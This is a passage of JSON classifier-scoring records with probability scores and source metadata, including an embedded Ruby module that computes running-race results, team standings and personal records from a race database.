"Tutorial / How-To Guide": 0.0005048067441873625, "User Reviews": 6.003052065307641e-06, "Other / Unknown": 0.0018018357197183707}, "secondary": {"Academic Writing": 0.0002572998313514418, "Content Listing": 0.00019213658208451712, "Creative Writing": 0.00015835313311923525, "Customer Support Page": 0.00010513682392759903, "Q&A Forum": 7.946443666073357e-05, "Discussion Thread": 7.501661051978837e-05, "Comment Section": 0.0001363173054544311, "Missing Content": 0.00036506783356225574, "Knowledge Article": 0.0015123634312589884, "Legal Notices": 0.00029818652508340355, "News Article": 0.00010783545298973093, "Organizational Announcement": 0.0001048925586415694, "Nonfiction Writing": 0.00012079722046474047, "Organizational About Page": 0.00013266922287115423, "Personal About Page": 8.45778770403423e-05, "Personal Blog": 8.736283836515092e-05, "Product Page": 6.477900304870621e-05, "Spam / Ads": 0.00011515003890515137, "Structured Data": 0.024416783663941545, "Technical Writing": 0.018755468977214366, "Transcript / Interview": 0.00012456869759199294, "Tutorial / How-To Guide": 0.0010183628802824165, "User Reviews": 4.5477489472429864e-05, "NONE": 0.9516419315661484}, "tertiary": {"Academic Writing": 0.00014741396753121456, "Content Listing": 0.0001223878127927762, "Creative Writing": 9.391305921806118e-05, "Customer Support Page": 5.5576733696681776e-05, "Q&A Forum": 3.653244919518742e-05, "Discussion Thread": 3.4702233050412214e-05, "Comment Section": 0.00010434117555744907, "Missing Content": 0.00025272055344703105, "Knowledge Article": 0.001177121221576196, "Legal Notices": 0.00019664879355004686, "News Article": 5.2761048057676035e-05, "Organizational Announcement": 5.10959835026128e-05, "Nonfiction Writing": 7.954647400839529e-05, "Organizational About Page": 8.700278114115365e-05, "Personal About Page": 4.036227709702317e-05, "Personal Blog": 4.3116740566373686e-05, "Product Page": 3.5681939065415265e-05, "Spam / Ads": 7.815050086738484e-05, "Structured Data": 0.012772236840987012, "Technical Writing": 0.00855920379400383, "Transcript / Interview": 5.5382952112838995e-05, "Tutorial / How-To Guide": 0.0009405310790506057, "User Reviews": 2.1284851966778415e-05, "NONE": 0.9749622847379579}, "structured_records": {"false": 0.8466802435412379, "true": 0.15331975645876209}, "procedural_steps": {"false": 0.9974040066084652, "true": 0.002595993391534781}, "worked_solution": {"false": 0.9990530307878641, "true": 0.0009469692121358563}, "contextual_dialogue": {"false": 0.9999942808565494, "true": 5.719143450650615e-06}, "content_quality": {"-2": 0.0039554799098106, "-1": 0.010964029126273573, "0": 0.15199330988515394, "1": 0.5108683939924954, "2": 0.32221878708626656}, "noise_severity": {"0": 0.9459458550956664, "1": 0.04899956660651903, "2": 0.0034979141388220393, "3": 0.0009077767027894797, "4": 0.0006488874562030159}, "missing_content_severity": {"0": 0.9947998231201676, "1": 0.0019338814664711548, "2": 0.002212036839599863, "3": 0.0008331461166454457, "4": 0.00022111245711587725}, "factual_density": {"0": 0.008731871676548405, "1": 0.04318881548398639, "2": 0.1792375593441482, "3": 0.41295052043051483, "4": 0.3558912330648022}, "pretraining_utility": {"-2": 0.013715222093050448, "-1": 0.12482833443964013, "0": 0.40357497510629453, "1": 0.3805686148664751, "2": 0.07731285349453988}, "math_density": {"0": 0.534965101410245, "1": 0.3169252004488202, "2": 0.07507537705211734, "3": 0.02395100667816477, "4": 0.04908331441065261}, "code_density": {"0": 0.00026452584145021294, "1": 0.000501952400161361, "2": 0.00935475856686884, "3": 0.09741079750734308, "4": 0.8924679656841765}, "reasoning_density": {"0": 0.9573852844310936, "1": 0.022798119607513604, "2": 0.013172072165463884, "3": 0.00363008363622596, "4": 0.00301444015970283}, "education_level": {"none": 0.0010401476666608458, "0": 0.0012713977119616175, "1": 0.004972011061063239, "2": 0.4226114752707366, "3": 0.4277986584202729, "4": 0.14230630986930476}, "creative_writing_quality": {"not_applicable": 0.9990891290829542, "-2": 0.00010035935090639334, "-1": 0.00018987134447809285, "0": 0.00043944282940100806, "1": 0.00012657902295034628, "2": 5.461836930988824e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.907443633697837e-05, "Art & Design": 5.0706545034644945e-05, "Law & Crime": 0.006350795118793044, "Education & Careers": 4.442431895418874e-05, "Entertainment & Media": 4.2839625183454554e-05, "Fashion & Beauty": 4.451184918173722e-05, "Business, Economics & Finance": 5.7348527649723035e-05, "Food & Dining": 3.2408841324045924e-05, "Games & Gaming": 8.897290061199797e-05, "Electronics & Hardware": 0.00011337020024350532, "Health, Healthcare & Wellness": 3.803671027115232e-05, "History & Geography": 4.272691164563223e-05, "Home, Pets & Hobbies": 3.3786974632683185e-05, "Industry & Production": 3.3251817383262404e-05, "Language, Literature & Philosophy": 4.58477008922728e-05, "Politics & Government": 2.610467888700111e-05, "Religion & Spirituality": 3.666658352253887e-05, "Science, Mathematics & Engineering": 0.0010483345102891245, "Relationships & Community": 2.297964414082563e-05, "Software Usage & Applications": 0.0006749190033763047, "Programming & Software Engineering": 0.9862737076924116, "Sports & Fitness": 6.89399199762298e-05, "Vehicles & Transportation": 2.170746716184835e-05, "Travel & Tourism": 6.226997107828802e-05, "Other / Uncovered Subject": 0.004591631399326731, "Unknown / Insufficient Content": 8.463665169113753e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000795743370824886, "Art & Design": 0.0004427148208911152, "Law & Crime": 0.05712153337864318, "Education & Careers": 0.0003755840663951249, "Entertainment & Media": 0.00048685792130568944, "Fashion & Beauty": 0.0002954538339398311, "Business, Economics & Finance": 0.0005430096215660964, "Food & Dining": 0.00021492223033206482, "Games & Gaming": 0.00040645579119426826, "Electronics & Hardware": 0.0004674756409498791, "Health, Healthcare & Wellness": 0.000319611388994265, "History & Geography": 0.00027659941572270906, "Home, Pets & Hobbies": 0.00023800864520321963, "Industry & Production": 0.00019856982973990144, "Language, Literature & Philosophy": 0.000245798736287759, "Politics & Government": 0.00027838916427468005, "Religion & Spirituality": 0.000358171269436566, "Science, Mathematics & Engineering": 0.001474622276531963, "Relationships & Community": 0.00015880844821284572, "Software Usage & Applications": 0.0048075103461031115, "Programming & Software Engineering": 0.05552827337891963, "Sports & Fitness": 0.00032619097004128164, "Vehicles & Transportation": 0.00012651862376132842, "Travel & Tourism": 0.00046527292570126936, "Other / Uncovered Subject": 0.009072628940729958, "NONE": 0.8649752749642973}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11215, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11215, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:18.044081+00:00", "scoring_key_slot": "primary", "dataset_uid": "58544e4d-fb43-4219-8aee-e5b333bfb14f", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d5e6ed3c48c6d964a58be11c5c33ce65f2bec8e1e1f68b51a4b329e5b1781471", "source_metadata": {"uuid": "58544e4d-fb43-4219-8aee-e5b333bfb14f", "repo_name": "OpenWireSec/metasploit", "relative_path": "lib/msf/core/auxiliary/fuzzer.rb", "category": "TOOL", "algo_rel_score": 0.6314743161201477, "quality_score": 3.2765796184539795, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 1, "repo_created_at": "2013-05-26T05:03:16.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 119, "forks": 62, "issues": 4, "pull_requests": 2}, "file_meta": {"content_id": "8ca34c3ad22cb71ce83b85261c4af6ee7dd3a0d8", "size_bytes": 7227, "file_timestamp": 1369544629, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "199956be7cdc22aa7a4ed00ed07283af54afc370"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 1, "repo_created_at": "2013-05-26T05:03:16.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 119, "forks": 62, "issues": 4, "pull_requests": 2}, "file_meta": {"content_id": "8ca34c3ad22cb71ce83b85261c4af6ee7dd3a0d8", "size_bytes": 7227, "file_timestamp": 1369544629, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "199956be7cdc22aa7a4ed00ed07283af54afc370", "url": "https://github.com/OpenWireSec/metasploit/blob/199956be7cdc22aa7a4ed00ed07283af54afc370/lib/msf/core/auxiliary/fuzzer.rb"}, "gpt4o_tokens": 2480, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1364309792191338, "noise_severity": 0.06131427481734361, "missing_content_severity": 0.009741843324070729, "factual_density": 3.0640804277230362, "pretraining_utility": 0.3829355432298138, "math_density": 0.7352622322301596, "code_density": 3.881315724792634, "reasoning_density": 0.07209027548593058, "education_level": 2.7056304315207673, "creative_writing_quality": -0.1699190102838541}, "score_applicability": {"education_level": 0.9989598523333392, "creative_writing_quality": 0.0009108709170457288}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/iherdt/rungraphs/blob/98cd14f386b53355a3bdd1dc3017ce0d73257e3d/lib/rungraphs/analytics/nyrr_race_results_analytics_provider.rb", "id": "ruby-0-e77aee23e58fbce1bbc57b383408110b", "text": "module Rungraphs\n module Analytics\n class NYRRRaceResultsAnalyticsProvider\n MIN_AG_PERCENTAGE = 70\n\n def initialize(race_slug)\n @race = Race.where(:slug => race_slug).first\n end\n\n def get_local_competitive_race_results\n lc_results = @race.results.where(:ag_percent => 70..100, :team => 0, :city => \"brooklyn\").order(:overall_place)\n if lc_results.length == 0\n return\n end\n race_info = {\n :name => @race.name,\n :race_slug => @race.slug,\n :date => @race.date,\n :date_and_time => @race.date_and_time,\n :location => @race.location,\n :weather => @race.weather\n }\n results = lc_results.map do |result|\n current_race_time = result.net_time || result.finish_time || result.gun_time\n if current_race_time[0] == \"0\"\n current_race_time = current_race_time[2..-1]\n end\n {\n :name => \"#{result.first_name} #{result.last_name}\",\n :gender => result.sex,\n :age => result.age,\n :ag_percent => result.ag_percent,\n :net_time => current_race_time,\n :pace => result.pace_per_mile,\n :runner_slug => Runner.find(result.runner_id).slug,\n :city => result.city,\n :state => result.state,\n :country => result.country\n }\n end\n race_data = {\n :race_info => race_info,\n :results => results\n }\n\n return race_data\n end\n\n def get_local_competitive_qualifiers(team_code)\n lc_results = @race.results.where(:ag_percent => 70..100, :team => team_code).order(:overall_place)\n if lc_results.length == 0\n return\n end\n race_info = {\n :name => @race.name,\n :race_slug => @race.slug,\n :date => @race.date,\n :date_and_time => @race.date_and_time,\n :location => @race.location,\n :weather => @race.weather,\n :team_code => team_code\n }\n\n lc_qualifiers = []\n lc_results.each do |result|\n current_race_time = result.net_time || result.finish_time || result.gun_time\n if current_race_time[0] == \"0\"\n current_race_time = current_race_time[2..-1]\n end\n runner = Runner.find(result.runner_id)\n\n qualifying_result = runner.results.where(\"ag_percent > 70 AND (distance != 1.0 AND distance != 0.2) AND date > ? AND date < ?\", 1.year.ago, result.date).order('date DESC').first\n if !qualifying_result.nil?\n qualifying_race = Race.select(:slug, :name).find(qualifying_result.race_id)\n lc_qualifiers << {\n :name => runner.full_name,\n :runner_slug => runner.slug,\n :gender => runner.sex,\n :age => result.age,\n :pace => result.pace_per_mile,\n :net_time => current_race_time,\n :ag_percent => result.ag_percent,\n :first_result_net_time => qualifying_result.net_time,\n :first_race_slug => qualifying_race.slug,\n :first_race_name => qualifying_race.name,\n :first_result_date => qualifying_result.date,\n :first_result_ag_percent => qualifying_result.ag_percent,\n :first_result_pace => qualifying_result.pace_per_mile\n }\n end\n end\n\n\n race_data = {\n :race_info => race_info,\n :lc_qualifiers => lc_qualifiers\n }\n\n return race_data\n end\n\n def get_team_race_data(team_name, team_champs = false)\n if @race.nil?\n return\n end\n team_results = @race.results.where(:team => team_name).order(:overall_place)\n male_team_results = @race.results.where(:team => team_name, :sex => 'm').order(:overall_place)\n female_team_results = @race.results.where(:team => team_name, :sex => 'f').order(:overall_place)\n if male_team_results.length == 0 && female_team_results == 0\n return\n end\n race_info = {\n :name => @race.name,\n :race_slug => @race.slug,\n :date => @race.date,\n :distance => @race.distance,\n :date_and_time => @race.date_and_time,\n :location => @race.location,\n :weather => @race.weather\n }\n male_results = male_team_results.map do |result|\n current_race_time = result.net_time || result.finish_time || result.gun_time\n if current_race_time[0] == \"0\"\n current_race_time = current_race_time[2..-1]\n end\n {\n :name => \"#{result.first_name} #{result.last_name}\",\n :gender => result.sex,\n :age => result.age,\n :ag_percent => result.ag_percent,\n :net_time => current_race_time,\n :pace => result.pace_per_mile,\n :runner_slug => Runner.find(result.runner_id).slug,\n :city => result.city,\n :state => result.state,\n :country => result.country,\n :overall_place => result.overall_place,\n :gender_place => result.gender_place,\n :ag_gender_place => result.ag_gender_place,\n :age_place => result.age_place\n }\n end\n\n female_results = female_team_results.map do |result|\n current_race_time = result.net_time || result.finish_time || result.gun_time\n if current_race_time[0] == \"0\"\n current_race_time = current_race_time[2..-1]\n end\n {\n :name => \"#{result.first_name} #{result.last_name}\",\n :gender => result.sex,\n :age => result.age,\n :ag_percent => result.ag_percent,\n :net_time => current_race_time,\n :pace => result.pace_per_mile,\n :runner_slug => Runner.find(result.runner_id).slug,\n :city => result.city,\n :state => result.state,\n :country => result.country,\n :overall_place => result.overall_place,\n :gender_place => result.gender_place,\n :ag_gender_place => result.ag_gender_place,\n :age_place => result.age_place\n }\n end\n\n ag_award_results = []\n team_results.each do |result|\n current_race_time = result.net_time || result.finish_time || result.gun_time\n if current_race_time[0] == \"0\"\n current_race_time = current_race_time[2..-1]\n end\n if result.age_place <= 10\n ag_award_results << {\n :name => \"#{result.first_name} #{result.last_name}\",\n :time => current_race_time,\n :age_place => result.age_place,\n :age => result.age,\n :gender => result.sex\n }\n end\n end\n\n prs = []\n first_team_race = []\n first_race_in_distance = []\n team_results.each do |result|\n runner = Runner.find(result.runner_id)\n other_results_in_distance = runner.results.where(:distance => result.distance).where(\"date < ?\", result.date)\n current_race_time = result.net_time || result.finish_time || result.gun_time\n if current_race_time[0] == \"0\"\n current_race_time = current_race_time[2..-1]\n end\n\n if !other_results_in_distance.empty? && other_results_in_distance.all? do |other_result|\n if other_result.net_time? && other_result.net_time > result.net_time\n true\n elsif !other_result.net_time? && other_result.finish_time? && other_result.finish_time > result.net_time\n true\n elsif !other_result.net_time? && !other_result.finish_time? && other_result.gun_time? && other_result.gun_time > result.net_time\n true\n else\n false\n end\n end\n other_results_by_time = {}\n other_results_in_distance.each do |result|\n if result.net_time\n other_results_by_time[result.net_time] = result\n elsif result.finish_time\n other_results_by_time[result.finish_time] = result\n elsif result.gun_time\n other_results_by_time[result.gun_time] = result\n else\n next\n end\n end\n previous_best_result_array = other_results_by_time.sort.first\n previous_best_result = previous_best_result_array[1]\n previous_best_time = previous_best_result_array[0]\n if previous_best_time[0] == \"0\"\n previous_best_time = previous_best_time[2..-1]\n end\n previous_best_race = Race.select(:name, :date).find(previous_best_result.race_id)\n prs << {\n :name => \"#{result.first_name} #{result.last_name}\",\n :pr_time => current_race_time,\n :old_pr_race => previous_best_race.name,\n :old_pr_date => previous_best_race.date,\n :old_pr_time => previous_best_time\n }\n end\n\n other_results_with_team = runner.results.where(:team => team_name).where(\"date < ?\", result.date)\n if other_results_with_team.empty?\n first_team_race << {\n :name => \"#{result.first_name} #{result.last_name}\"\n }\n end\n if other_results_in_distance.empty?\n first_race_in_distance << {\n :name => \"#{result.first_name} #{result.last_name}\"\n }\n end\n end\n team_results = {}\n team_result_types = {\n \"Open Men\" => @race.men_results,\n \"Open Women\" => @race.women_results,\n \"Masters Men (40+)\" => @race.men_40_results,\n \"Masters Women (40+)\" => @race.women_40_results,\n \"Grand Masters Men (50+)\" => @race.men_50_results,\n \"Grand Masters Women (50+)\" => @race.women_50_results,\n \"Senior Grand Masters Men (60+)\" => @race.men_60_results,\n \"Senior Grand Masters Women (60+)\" => @race.women_60_results\n }\n\n team_result_types.each do |type, results| \n if results\n team_place = 1\n results.each do |result|\n if result[\"team\"] == team_name\n if type == \"Open Men\" || type == \"Open Women\"\n if team_champs\n number_of_scoring_runners = 10\n else\n number_of_scoring_runners = 5\n end\n else\n if team_champs && type == \"40+ Men\"\n number_of_scoring_runners = 5\n else\n number_of_scoring_runners = 3\n end\n end\n\n team_results[type] = {\n :team_place => team_place,\n :runners => result[\"runners\"],\n :total_time => result[\"total_time\"],\n :number_of_scoring_runners => number_of_scoring_runners\n }\n else\n team_place += 1\n end\n end\n end\n end\n\n race_data = {\n :race_info => race_info,\n :male_results => male_results,\n :female_results => female_results,\n :prs => prs,\n :first_team_race => first_team_race,\n :first_race_in_distance => first_race_in_distance,\n :ag_award_results => ag_award_results,\n :team_results => team_results\n }\n \n return race_data\n end\n end\n end\nend", "text_preview": "module Rungraphs module Analytics class NYRRRaceResultsAnalyticsProvider MIN_AG_PERCENTAGE = 70 def initialize(race_slug) @race = Race.where(:slug => race_slug).first end def get_local_competitive_race_results lc_results = @race.results.whe", "input_sha256": "7ec2bc9d9ff102f9977116e1cb2c4817a16d1601011f81820a2d3dfbfda9acb9", "text_sha256": "e77aee23e58fbce1bbc57b383408110bda4126647033149dbb3bfacd7d8f6983", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16013, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "needs_review", "training_eligible": false, "label": null, "candidate_label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": {"main_topic": "Sports & Fitness", "sub_topic": null}}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.6162091892656346, "noise_severity": 0.010570496805043742, "missing_content_severity": 0.006158827136650462, "factual_density": 2.9321628024356103, "pretraining_utility": 0.4428150733463031, "math_density": 0.4591119252768021, "code_density": 3.920263419104009, "reasoning_density": 0.7683810360289912, "education_level": 2.089120093961918, "creative_writing_quality": -0.4367738769864052}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "Sports & Fitness"}, "review_reasons": ["secondary_topic probability 0.5973 below 0.70"], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.03194923147757878, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.995794322679347, "secondary": 0.9529421734755934, "tertiary": 0.9862805019739362, "structured_records": 0.1068792517262718, "procedural_steps": 0.004914925482091427, "worked_solution": 0.0018923267395585459, "contextual_dialogue": 5.940725896955103e-06, "content_quality": 0.44818481128292487, "noise_severity": 0.9911912526624636, "missing_content_severity": 0.9948676440527913, "factual_density": 0.43928549903840264, "pretraining_utility": 0.4394759495627192, "math_density": 0.6174067289359984, "code_density": 0.9335528492533411, "reasoning_density": 0.35968246997584064, "education_level": 0.7839448290041494, "creative_writing_quality": 0.9992612293749612, "primary_topic": 0.9513703402194468, "secondary_topic": 0.5811603711584661}, "probability_margin": {"primary": 0.9934872201990325, "secondary": 0.9266344873686385, "tertiary": 0.9796172404450246, "education_level": 0.6966645709691465, "creative_writing_quality": 0.9991236808203174, "primary_topic": 0.9119676332812142, "secondary_topic": 0.3400225920404435}, "raw_probabilities": {"primary": {"Academic Writing": 2.697381541188636e-05, "Content Listing": 1.847512554321895e-05, "Creative Writing": 1.5222549944644954e-05, "Customer Support Page": 7.554175695341088e-06, "Q&A Forum": 9.475262359816975e-06, "Discussion Thread": 6.068023347098553e-06, "Comment Section": 9.313694814031282e-06, "Missing Content": 1.7250873061967274e-05, "Knowledge Article": 5.1940510009389e-05, "Legal Notices": 2.4059091236542106e-05, "News Article": 4.801664400913446e-06, "Organizational Announcement": 1.0529254035567208e-05, "Nonfiction Writing": 1.0451594859803882e-05, "Organizational About Page": 1.4428063756953857e-05, "Personal About Page": 1.0019947553372702e-05, "Personal Blog": 6.45889059667143e-06, "Product Page": 7.025144794920503e-06, "Spam / Ads": 8.225109393196358e-06, "Structured Data": 0.0024823390353417053, "Technical Writing": 0.9959695592343741, "Transcript / Interview": 1.1819823681550041e-05, "Tutorial / How-To Guide": 0.00013545816266401605, "User Reviews": 5.631632196637582e-06, "Other / Unknown": 0.0011369193209266031}, "secondary": {"Academic Writing": 0.00019324569123891524, "Content Listing": 0.00018893062041930062, "Creative Writing": 0.00014439586935379556, "Customer Support Page": 8.330740567617094e-05, "Q&A Forum": 5.789914345556387e-05, "Discussion Thread": 5.093722995660579e-05, "Comment Section": 8.886131370835273e-05, "Missing Content": 0.00024490008786495147, "Knowledge Article": 0.0002525588943361536, "Legal Notices": 0.0001225446115529766, "News Article": 9.255252890470313e-05, "Organizational Announcement": 8.307764131488521e-05, "Nonfiction Writing": 8.700743079746129e-05, "Organizational About Page": 0.00012575114718153102, "Personal About Page": 7.345867557507207e-05, "Personal Blog": 7.232559804421289e-05, "Product Page": 5.194455178994106e-05, "Spam / Ads": 8.339683278983965e-05, "Structured Data": 0.02826842887880518, "Technical Writing": 0.014308688717548736, "Transcript / Interview": 9.325610179041737e-05, "Tutorial / How-To Guide": 0.0002933852901650044, "User Reviews": 3.622949028663931e-05, "NONE": 0.9549029162474437}, "tertiary": {"Academic Writing": 6.797194727418776e-05, "Content Listing": 9.193867959034353e-05, "Creative Writing": 5.2589658584708186e-05, "Customer Support Page": 2.7508155896976912e-05, "Q&A Forum": 1.72455732478278e-05, "Discussion Thread": 1.8692116666123512e-05, "Comment Section": 3.563206205504473e-05, "Missing Content": 0.00014526121358032215, "Knowledge Article": 0.00014501400621661073, "Legal Notices": 6.66378967604787e-05, "News Article": 3.3766690657852213e-05, "Organizational Announcement": 3.055143049120547e-05, "Nonfiction Writing": 4.566110998975691e-05, "Organizational About Page": 5.872510058536417e-05, "Personal About Page": 2.8165367789859693e-05, "Personal Blog": 2.4286166874852333e-05, "Product Page": 2.3389369190576737e-05, "Spam / Ads": 3.5537413907728386e-05, "Structured Data": 0.007234907279997636, "Technical Writing": 0.0047463112977338615, "Transcript / Interview": 3.122321720435872e-05, "Tutorial / How-To Guide": 0.00017226867651820287, "User Reviews": 1.4567844163934113e-05, "NONE": 0.9868521477250223}, "structured_records": {"false": 0.8931207482737282, "true": 0.1068792517262718}, "procedural_steps": {"false": 0.9950850745179086, "true": 0.004914925482091427}, "worked_solution": {"false": 0.9981076732604415, "true": 0.0018923267395585459}, "contextual_dialogue": {"false": 0.999994059274103, "true": 5.940725896955103e-06}, "content_quality": {"-2": 0.011795367494138462, "-1": 0.08473559884406513, "0": 0.3181272184268822, "1": 0.4461481073718518, "2": 0.13919370786306237}, "noise_severity": {"0": 0.9913315095953172, "1": 0.007341679712917292, "2": 0.0009226114112729355, "3": 0.00023320285238886344, "4": 0.00017099642810349664}, "missing_content_severity": {"0": 0.9969682657334689, "1": 0.0008585015046676726, "2": 0.0013826920648086281, "3": 0.0006272212858536299, "4": 0.00016331941120116097}, "factual_density": {"0": 0.015232458619269163, "1": 0.061277344354639905, "2": 0.20209523479206598, "3": 0.4188848604392615, "4": 0.30251010179476345}, "pretraining_utility": {"-2": 0.008533096995822102, "-1": 0.09784069959757276, "0": 0.41006373388765477, "1": 0.4094029721023805, "2": 0.07415949741656974}, "math_density": {"0": 0.7316931243327423, "1": 0.17390475915736242, "2": 0.03986836207356511, "3": 0.012664575773011135, "4": 0.041869178663319004}, "code_density": {"0": 0.00021222261956320546, "1": 0.00036502108308118027, "2": 0.008757908300741706, "3": 0.060276810567010806, "4": 0.9303880374296031}, "reasoning_density": {"0": 0.6721371601181075, "1": 0.07063522267392541, "2": 0.12655269815560305, "3": 0.07805925916559645, "4": 0.052615659886767585}, "education_level": {"none": 0.001261930706918514, "0": 0.0017954622384334796, "1": 0.046029719170819335, "2": 0.8199540241701245, "3": 0.12328945320097803, "4": 0.0076694105127261825}, "creative_writing_quality": {"not_applicable": 0.9993843578124677, "-2": 0.00010941224022606728, "-1": 0.000159887367837444, "0": 0.00026067699215023826, "1": 6.151575143253812e-05, "2": 2.4149835886070446e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.24410956451761e-05, "Art & Design": 0.00012874560678248284, "Law & Crime": 9.792684031067103e-05, "Education & Careers": 0.00010324504611175339, "Entertainment & Media": 0.00011737612317580129, "Fashion & Beauty": 0.00010972893440276465, "Business, Economics & Finance": 0.0004099729299261723, "Food & Dining": 9.977141252362164e-05, "Games & Gaming": 0.00031033402797307985, "Electronics & Hardware": 9.949676181009288e-05, "Health, Healthcare & Wellness": 0.00014337949062065466, "History & Geography": 0.00010824797536416592, "Home, Pets & Hobbies": 0.00023168132561860526, "Industry & Production": 0.0001303626401253792, "Language, Literature & Philosophy": 9.409757638114098e-05, "Politics & Government": 6.322282299662094e-05, "Religion & Spirituality": 8.463303834002832e-05, "Science, Mathematics & Engineering": 0.0008881523987885691, "Relationships & Community": 0.00025736355307830904, "Software Usage & Applications": 0.0003266245904195652, "Programming & Software Engineering": 0.953240711749468, "Sports & Fitness": 0.04127307846825379, "Vehicles & Transportation": 9.624354631926926e-05, "Travel & Tourism": 0.00011022376505180137, "Other / Uncovered Subject": 0.001271719797572039, "Unknown / Insufficient Content": 0.00013121848294053235}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008749320703976149, "Art & Design": 0.0009642820516235721, "Law & Crime": 0.0008338097400173214, "Education & Careers": 0.0006353727797571315, "Entertainment & Media": 0.0009703877461777132, "Fashion & Beauty": 0.0006612656012371091, "Business, Economics & Finance": 0.0016966525556525933, "Food & Dining": 0.0005647609734118501, "Games & Gaming": 0.0008934406226394754, "Electronics & Hardware": 0.0005917182449923427, "Health, Healthcare & Wellness": 0.0012640247532814425, "History & Geography": 0.0006769819256602619, "Home, Pets & Hobbies": 0.0013751755142510768, "Industry & Production": 0.0006007410430946421, "Language, Literature & Philosophy": 0.000349625379745299, "Politics & Government": 0.0004046790831893754, "Religion & Spirituality": 0.0006350889608848757, "Science, Mathematics & Engineering": 0.014921582361440198, "Relationships & Community": 0.0007224284659631419, "Software Usage & Applications": 0.0007125263054066612, "Programming & Software Engineering": 0.10868335787165453, "Sports & Fitness": 0.5972695876523713, "Vehicles & Transportation": 0.0008033618802752555, "Travel & Tourism": 0.0007760155743319935, "Other / Uncovered Subject": 0.004871205230615689, "NONE": 0.25724699561192776}}, "probabilities": {"primary": {"Academic Writing": 2.697381541188636e-05, "Content Listing": 1.847512554321895e-05, "Creative Writing": 1.5222549944644954e-05, "Customer Support Page": 